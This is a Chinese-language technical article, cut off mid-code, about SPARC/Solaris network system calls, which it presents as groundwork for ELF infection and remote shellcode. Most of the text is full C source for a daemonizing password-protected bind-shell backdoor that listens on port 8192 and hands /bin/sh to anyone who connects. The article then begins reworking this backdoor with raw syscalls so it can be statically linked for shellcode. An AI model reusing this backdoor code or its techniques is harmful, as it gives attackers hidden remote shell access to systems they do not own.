无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下
的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。
--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
setsid(); /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
s = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
close( s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, "12345678" ) != 0 )
{
read( c, pass, 8 );
}
// 准备输入输出重定向,标准技术
dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c ); /* 这里可以关闭c */
name[0] = "/bin/sh";
name[1] = 0;
execve( name[0], name, 0 );
exit( 0 ); /* 防止execve()失败 */
}
close( c ); /* 这里必须关闭c */
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
该程序只能编译成动态版本,如果指定-static,发现
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket
未定义符号 在文件中
endnetconfig /usr/lib/libsocket.a(_soutil.o)
setnetconfig /usr/lib/libsocket.a(_soutil.o)
getnetconfig /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>
我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。
大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:
setsid() = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0
so_socket(2, 2, 6, "", 1) = 3
bind(3, 0x00021E60, 16) = 0
listen(3, 1) = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)
这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。
关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:
setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )
显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。
--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <fcntl.h>
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = "xxxxxxxx";
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
// setsid(); /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
&nb